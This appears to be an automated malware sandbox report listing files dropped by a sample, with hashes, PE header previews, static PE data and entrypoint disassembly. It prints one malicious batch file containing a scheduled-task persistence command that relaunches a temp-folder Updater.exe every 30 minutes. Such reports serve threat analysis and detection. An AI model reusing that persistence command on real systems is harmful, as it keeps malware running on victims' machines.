SHA-512:	5FF21A85EE28665C4E707C7044F122D1BAC8E408A06F8EA16E33A8C9201798D196FA65B24327F208C4FF415E24A5AD2414FE7A91D9C0B0D8CFF88299111F2E1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........@......#...#.2...................P.....b......................................@... .................................................................@............................k......................<................................text...d0.......2..................`.P`.data...l....P.......6..............@.`..rdata..L....`.......D..............@.`@/4....... ......."...\..............@.0@.bss....P.............................`..edata...............~..............@.0@.idata..............................@.0..CRT....,...........................@.0..tls................................@.0..reloc..@...........................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\libgcc_s_dw2-1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	125637
Entropy (8bit):	6.2640431186303145
Encrypted:	false
SSDEEP:	3072:lRvT0WUWJXNEn9bufmWAHE9pQIAOBmuWR2:DT0WU6E9Kfms9p5guWc
MD5:	6231B452E676ADE27CA0CEB3A3CF874A
SHA1:	F8236DBF9FA3B2835BBB5A8D08DAB3A155F310D1
SHA-256:	9941EEE1CAFFFAD854AB2DFD49BF6E57B181EFEB4E2D731BA7A28F5AB27E91CF
SHA-512:	F5882A3CDED0A4E498519DE5679EA12A0EA275C220E318AF1762855A94BDAC8DC5413D1C5D1A55A7CC31CFEBCF4647DCF1F653195536CE1826A3002CF01AA12C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........,.....&#...$.d.........................n.........................`............@... .........................u.... ..x............................P....................................................... ...............................text...8b.......d..................`.P`.data...(............h..............@.0..rdata...".......$...j..............@.`@/4.......4.......6..................@.0@.bss..................................0..edata..u...........................@.0@.idata..x.... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\libiconv-2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1065100
Entropy (8bit):	7.300961775371533
Encrypted:	false
SSDEEP:	24576:gsRe/8fBAUZLYnwPKO6lbbTCpGavkg3NyeuQ6l9fHOfD:gzKBAUZLYwiO6UpGaXBuQQ9uD
MD5:	B7DF9B43BF812DDAF60C99732C1AB273
SHA1:	4A90353C8B2845008483854642B711E917F9CEEF
SHA-256:	74024FE9B8A1E4F8B9B7561B336B2916A20784699CDEEF2948074F0E820C9BDE
SHA-512:	DB78A8AF90E8557BA37DF1B8C089B8C2E6D912CB08A7B633126541FA9A2E91A0DD90E275A83D323DB0E38BB464744225B0FD405A2C828170B5B7AC1333D6C6E7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........8..:......#...#.....4.................... f................................V>....@... ......................P.......`..............................................................0.......................$a...............................text...............................`.P`.data...T...........................@.0..rdata..............................@.`@/4.......Q.......R..................@.0@.bss.........@........................`..edata.......P......................@.0@.idata.......`......................@.0..CRT....,....p......................@.0..tls................................@.0..rsrc...............................@.0..reloc...............$..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\libogg-0.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	40974
Entropy (8bit):	6.485702128133584
Encrypted:	false
SSDEEP:	768:kB8JMzjwsTYQgUvXtrs7GtUplYj7SG7MLXm:kmMwsTYwvXhZP77SW
MD5:	F47E78AD658B2767461EA926060BF3DD
SHA1:	9BA8A1909864157FD12DDEE8B94536CEA04D8BD6
SHA-256:	602C2B9F796DA7BA7BF877BF624AC790724800074D0E12FFA6861E29C1A38144
SHA-512:	216FA5AA6027C2896EA5C499638DB7298DFE311D04E1ABAC302D6CE7F8D3ED4B9F4761FE2F4951F6F89716CA8104FA4CE3DFECCDBCA77ED10638328D0F13546B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...!.F...................`.....p......................... ......I5........ .................................................................@...........................L........................................................text....E.......F..................`.P`.data...0....`.......J..............@.0..rdata..$&...p...(...L..............@.`@/4......<............t..............@.0@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,...........................@.0..tls................................@.0..reloc..@...........................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\libvorbis-0.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	176200
Entropy (8bit):	6.647007817777345
Encrypted:	false
SSDEEP:	1536:9teve4OMTqM/iKAo+/zO9RhR9aPTxRm1TxStoBtwIbaU+yUsXxTTLRazIxSp/FjU:ze24OM+M/bAWK9Rm1NXwIl+/I9RtqIn
MD5:	6896DC57D056879F929206A0A7692A34
SHA1:	D2F709CDE017C42916172E9178A17EB003917189
SHA-256:	8A7D2DA7685CEDB267BFA7F0AD3218AFA28F4ED2F1029EE920D66EB398F3476D
SHA-512:	CD1A981D5281E8B2E6A8C27A57CDB65ED1498DE21D2B7A62EDC945FB380DEA258F47A9EC9E53BD43D603297635EDFCA95EBCB2A962812CD53C310831242384B8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........8......#...#.b........................tm......................... ......z.....@... .........................E....................................................................w.......................................................text....a.......b..................`.P`.data...P............f..............@.P..rdata...............h..............@.`@/4...............0...Z..............@.0@.bss..................................0..edata..E...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls................................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\libvorbisenc-2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	555894
Entropy (8bit):	3.4167624637949925
Encrypted:	false
SSDEEP:	6144:TnOHRuNruVRJ/RbM4YkuYFSwqFux5T8hac1eQ3RcMLQa9gKutRJhuusoAu3FsWVI:2z8wqux5TEacQmRcMcpfLnFQ
MD5:	77A96C1C8E72D12BE4DFA5600A67E0F4
SHA1:	F1A94189F7DA47DB26E332024C255AFAA085A654
SHA-256:	E6A08981AB88E25B892DB826D75EBE4C3A9EC932704F722B3E32E5D9C8CD359C
SHA-512:	267951B1CF2C745DA69265EEF7E921FF4A9F07C49000EB30D3C1793634C6AB61AB3A897E418A56C77C3F8F735AA2844FC6BF564DC2D88C9C0835A37A318AD52B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........v..$......#...#.:...r...............P.....k......................................@... .................................t............................................................Z.........................\|............................text....8.......:..................`.P`.data...D....P.......>..............@.0..rdata..$....`.......@..............@.`@/4......L....`.......@..............@.0@.bss.........p........................0..edata...............L..............@.0@.idata..t............N..............@.0..CRT....,............R..............@.0..tls.................T..............@.0..reloc........... ...V..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\libwinpthread-1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	68552
Entropy (8bit):	6.1042544770100395
Encrypted:	false
SSDEEP:	768:Jd8ALXCfP6bO/XfLCwiWBot9ZOGLuNTizPm3YRiFVinPHF:X8fq+X9OjZ2APm3YeinPl
MD5:	F06B0761D27B9E69A8F1220846FF12AF
SHA1:	E3A2F4F12A5291EE8DDC7A185DB2699BFFADFE1A
SHA-256:	E85AECC40854203B4A2F4A0249F875673E881119181E3DF2968491E31AD372A4
SHA-512:	5821EA0084524569E07BB18AA2999E3193C97AA52DA6932A7971A61DD03D0F08CA9A2D4F98EB96A603B99F65171F6D495D3E8F2BBB2FC90469C741EF11B514E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........V......#...$...........................d................................Y_....@... ..............................0..t....`..P....................p..............................`........................1..H............................text..............................`.P`.data...L...........................@.0..rdata..............................@.0@/4......,3.......4..................@.0@.bss..................................0..edata..............................@.0@.idata..t....0......................@.0..CRT....0....@......................@.0..tls.........P......................@.0..rsrc...P....`......................@.0..reloc.......p......................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\setting.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	442
Entropy (8bit):	3.8280681998470794
Encrypted:	false
SSDEEP:	12:Q+gZPiv77qlXS8lvlRFo1MonAUNycdlUlaT9SaG:Q+gZPo7GU0vlRq1pnAUNnd+gTAaG
MD5:	09204E71E9F3B624E909FB20DEFE6EF5
SHA1:	2374900EBB8D9BB7127217DAE828A949B8E7938B
SHA-256:	D0755838EFEF3A423FFF51C91B2AEC497EB6C1A2A845534D6918C433E1F95267
SHA-512:	7B6FE24B112EED282D5795F0D2D122CC71539823609F1F3A7A5B3CAFEC8C86F00B310454B0CB607F881DBA99E7F2E55DD6EEDC31A3CC3D1F2B10FE43A923DE8F
Malicious:	false
Preview:	..[.L.A.N.G.U.A.G.E.].....n.a.m.e.1.=.E.n.g.l.i.s.h.....n.a.m.e.2.=.E.s.p.a...o.l.....n.a.m.e.3.=.D.e.u.t.s.c.h.....n.a.m.e.4.=.F.r.a.n...a.i.s.....n.a.m.e.5.=.I.t.a.l.i.a.n.o.....n.a.m.e.6.=..e,g......n.a.m.e.7.=.M.a.g.y.a.r.....n.a.m.e.8.=.T...r.k.....n.a.m.e.9.=.'.D.9.1.(.J.).....n.a.m.e.1.0.=.R.o.m...n.......n.a.m.e.1.1.=.A~.-N.e....f.i.l.e.=.e.n.g.l.i.s.h...i.n.i.....[.P.A.T.H.].....n.a.m.e.=.D.:.\.....[.T.I.M.E.S.].....t.i.m.e.=.0.

C:\Users\user\AppData\Local\VB Smart Card Viewer\swresample-3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129038
Entropy (8bit):	6.508174898498455
Encrypted:	false
SSDEEP:	3072:2n7B3zAWc/gG6IsRc+JdTCXw4hXAMpI3pr:2n7B3zAWc/SmXfAMK
MD5:	3D8C24A40935FB27FC494FC6147E6EA8
SHA1:	C26B6949C34AADB8271E124CE08F511BE5033A04
SHA-256:	F83401305ACDA249D2A81CD8496E08643686FF1327EE4A495A1F3ABD77C7C3E6
SHA-512:	2EC272A4E770FB0B748ED3F3ED9E9A6983B2AB9B88D0C57C63E2248A1EF2B8D8A528EFAAD488CA377DBD05748DFA87DF086DDFA6B0DAD58571C47732320DC958
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...$.f................................................................@... ...................... .......0..T....`.......................p..x...................................................X1...............................text...$d.......f..................`.P`.data...P............j..............@.P..rdata..PE.......F...l..............@.`@/4.......'.......(..................@.0@.bss..................................0..edata....... ......................@.0@.idata..T....0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..rsrc........`......................@.0..reloc..x....p......................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	InnoSetup Log VB Smart Card Viewer, version 0x30, 5504 bytes, 675052\user, "C:\Users\user\AppData\Local\VB Smart Card Viewer"
Category:	dropped
Size (bytes):	5504
Entropy (8bit):	4.852987912059325
Encrypted:	false
SSDEEP:	96:GeEW4RjpmRJ97u+eOIhq6D7ICSss/LnQZ:GeEW4ZpmpHHIhjICSsAnC
MD5:	323F7A64AE385AFAB7181D62C74E5137
SHA1:	1850AE6ACF48F07CCFBAB2B3DD537DA816EA5D22
SHA-256:	52274DB571F44BD5148D1413239C32C72747297424BE5E6EE770AEE72A5A7957
SHA-512:	BA40AAC66DFC4D8C6B1A140D354FC1FFC70AA847EB4890F76D873B4A5553C13C4D29968B053A8FA63D0DB2F068D41AE50654C367A0167944605D7D93857B0958
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................VB Smart Card Viewer............................................................................................................VB Smart Card Viewer............................................................................................................0...........%..........................................................................................................................?........Q....675052.user1C:\Users\user\AppData\Local\VB Smart Card Viewer...........9.!.].. ............IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User3

C:\Users\user\AppData\Local\VB Smart Card Viewer\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	720373
Entropy (8bit):	6.507181359300328
Encrypted:	false
SSDEEP:	12288:Vhu7eEcdCP8trP837szHUA6JCzS9Ntc3l3ER6orNjUR6FDExyFg:nu7eEYCP8trP837szHUA60SLtcV3E9fE
MD5:	BBC68F2D9923F1E10C37703479C13301
SHA1:	C017AF29745A24F7F74A535407C680A90B1AE5EC
SHA-256:	F62D22F6611EED484B8363209949370E93D07DB172556E8AB853470D691F202A
SHA-512:	B6F534CD0BB6A5DC4DAEB21BF9BC219A7200AA25CBDF87F183571744EE24B4D2AE74911E7996B646934E99BF263C7459BAF8937B1E179441995D59B8B7D96189
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................x..........x.............@..............................................@...............................%..................................................................................................................CODE.....w.......x.................. ..`DATA.................\|..............@...BSS.....l................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................^..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3047424
Entropy (8bit):	6.876980552165079
Encrypted:	false
SSDEEP:	49152:ubxuBXjA7pOxwz1HCBCvWV3BE1G89lHdXCkdC7EVUgKcAWg5t:exeYka7WVBEk89lHdXCkdQEdA
MD5:	29DEB5EE2C07F1E8660E10AB6E4A0966
SHA1:	CE8D68341F3A150E0AE4F26BCE649E505F766A5D
SHA-256:	EC88B7D9AAB10E45DC4AC1AAFFA5D9DA9BF2E368580BDDF16F0DDE301E97B43F
SHA-512:	4D3E6117EA337CA5902CC4E19C99C82A177AB889412E58BFF59B88B348D5589EA3AA10E48878C14DF80276C79FF43D6A15D893E1C53C9888FDD7BDD746D3435B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y..>=.um=.um=.umR.~m<.um..{m).umR..mw.um=.tm6.um_.fm(.um..~m<.um..sm<.umRich=.um................PE..L....f.e.............................A............@..................................................................................0 ..i..............................................................................<............................text...:...........................`....rdata..\".......0..................@..@.data...XT.......@..................@....rsrc....p...0 ..p.... .............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\zlib1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	127192
Entropy (8bit):	6.479927027421408
Encrypted:	false
SSDEEP:	1536:/fMTf09hjtHy4xaIqGpnuJY8KYA/hKjUR+YABqKBrnToIfqIOoIOGESvrTEgTWjx:XMA3Fa0sYDY6hKgRvwqOTBf4uGE+rYgE
MD5:	8B2A6E8419A8A4E7D3FD023D97455FB9
SHA1:	2547A1F94FB4F83B7C133A3E285EE11FAA155E84
SHA-256:	7087CDD1ACDFF6CD1B8D821388F430AF3888314B05A5821BB53E67034362F670
SHA-512:	44438F6DD4BECABC2CB3053E2C42877CBDB0F309FE272F67A94AD530CAF1C5E5D49BC394F7D21C4226A4F0EB6D8661C5C7113508EA2F446E0DBEA0D59554D4A4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........=......#...#.>...................P.....c.........................`......;.....@... .............................. ...............................P......................................................0!...............................text...d=.......>..................`.P`.data...L....P.......B..............@.0..rdata.. S...`...T...D..............@.`@/4.......2.......4..................@.0@.bss....P.............................`..edata..............................@.0@.idata....... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Temp\Task.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\BroomSetup.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	4.806068215477973
Encrypted:	false
SSDEEP:	3:HFUuvaOpLKBchEXEtTC5WAut+kiE2J5xAIEyrKBySKFS3:Ogas7SXEFAuwkn23faKS3
MD5:	43A95207D30C95F513309A882D511D25
SHA1:	B5088D2A0F8BDEBFCABCB194362AB59D20014F29
SHA-256:	DDA9B22F2D2D9CFF7036DEEBDDE40E7CDB62F2587DFC304FE32EF9BFA974DFB6
SHA-512:	52BDAA18A5883343C56F33FC631D2E63B2D30730C482D8278FFA9C8CD9E6469DC88BB32DFDF16118E279D6DC715C92D8DBF534A4D8698195CD14DFD7BC7034ED
Malicious:	false
Preview:	chcp 1251.. schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F..

C:\Users\user\AppData\Roaming\addjbtc

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299520
Entropy (8bit):	6.669546933550922
Encrypted:	false
SSDEEP:	6144:2QbL5VxJKrOL/4rWs2HsBD4fvR0FtRYEM+:2IlVxJK60r92MBDMvyV
MD5:	C01379CE9E0B81AF37FF363819459B20
SHA1:	74B76D1FFD436BB1B277A4AF85D7730740BB9EE8
SHA-256:	5A5E5EA2A6D68279FED10BCC72FA7F707C9FC09A27BF8E4A1632C8AFFF84DE17
SHA-512:	0FB7DB21A846ADD3038C0B2313CFEEFD4AD0799DC11EACAC302498E8D1275AEF244690748DAD279944E21AA1B7617CB38623CF9D6E5B6CD030CD16EB677437B7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......d.................Z..........O".......p....@..................................i..........................................P.......x............................q..............................x...@............p...............................text...VY.......Z.................. ..`.rdata..$\...p...^...^..............@..@.data...t........0..................@....rsrc...x...........................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jjdjbtc

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	252416
Entropy (8bit):	6.7659918558160745
Encrypted:	false
SSDEEP:	3072:VD5vK2O4jqKgfZ0njX1CvEuN9qQjH5nKfMdptyD6P0s4iNc:Vlv9O0jXhurjZKfMQ1s
MD5:	E6399303CEAA23310986CA0F5F6444DF
SHA1:	129B77939BBF5F50CB2F5F4248DD9F4416C15143
SHA-256:	D9E82B2BBF5EF1628749C4703F5D38D74B83994CDEE1712F5429AF889F7C1BFB
SHA-512:	8D963C6C20DF166B5E1326B7C8EE30F1CBB1073500A21FB080E594BE9462E733D2795C54AFFD9BE558A5E37489B81BA9FCD910320BA96D6443AEF594784BA8AE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U..............~.......~.%.....~...}.....(.........y...~.......~.!.....~.&.....Rich............................PE..L...\..c.................t........................@..................................?..........................................P.......X...................................................x........................................................text....s.......t.................. ..`.rdata...6.......8...x..............@..@.data...D........"..................@....diconeb\|....`......................@....tls.........p......................@....kesufo.............................@....rsrc...X...........................@..@........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jjdjbtc:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.7659918558160745
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5Yzloz244r.exe
File size:	252'416 bytes
MD5:	e6399303ceaa23310986ca0f5f6444df
SHA1:	129b77939bbf5f50cb2f5f4248dd9f4416c15143
SHA256:	d9e82b2bbf5ef1628749c4703f5d38d74b83994cdee1712f5429af889f7c1bfb
SHA512:	8d963c6c20df166b5e1326b7c8ee30f1cbb1073500a21fb080e594be9462e733d2795c54affd9be558a5e37489b81ba9fcd910320ba96d6443aef594784ba8ae
SSDEEP:	3072:VD5vK2O4jqKgfZ0njX1CvEuN9qQjH5nKfMdptyD6P0s4iNc:Vlv9O0jXhurjZKfMQ1s
TLSH:	6B34AD1033D1D072D167113589A5C7B20EAB7866B663ABBFBFD61A3B2F343908A1570D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U...............~.......~.%.....~...}.....(.........y...~.......~.!.....~.&.....Rich............................PE..L...\..c...

File Icon


Icon Hash:	1331646565311b46

Static PE Info

General

Entrypoint:	0x4016ff
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x631F2E5C [Mon Sep 12 13:04:28 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	ebe35e0085e613a421d4abea9476d495

Entrypoint Preview

Instruction
call 00007F38313E11B9h
jmp 00007F38313DE30Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [0042F158h], eax
mov dword ptr [0042F154h], ecx
mov dword ptr [0042F150h], edx
mov dword ptr [0042F14Ch], ebx
mov dword ptr [0042F148h], esi
mov dword ptr [0042F144h], edi
mov word ptr [0042F170h], ss
mov word ptr [0042F164h], cs
mov word ptr [0042F140h], ds
mov word ptr [0042F13Ch], es
mov word ptr [0042F138h], fs
mov word ptr [0042F134h], gs
pushfd
pop dword ptr [0042F168h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0042F15Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [0042F160h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0042F16Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [0042F0A8h], 00010001h
mov eax, dword ptr [0042F160h]
mov dword ptr [0042F05Ch], eax
mov dword ptr [0042F050h], C0000409h
mov dword ptr [0042F054h], 00000001h
mov eax, dword ptr [0042D004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0042D008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000C8h]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2bc14	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x39000	0xf658	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2b778	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x29000	0x1ac	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x273fe	0x27400	aca7ffe9c2b3454e1002db9a31e5bffe	False	0.6643299661624203	data	7.172204411757874	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x29000	0x360c	0x3800	803a3c76f4862f33e35a346a9f0c2ac6	False	0.36983816964285715	data	5.003304247447548	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x8044	0x2200	99e4a6f2e345d5f0cf2b9111ad1e4e3d	False	0.1899126838235294	data	2.11109129914638	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
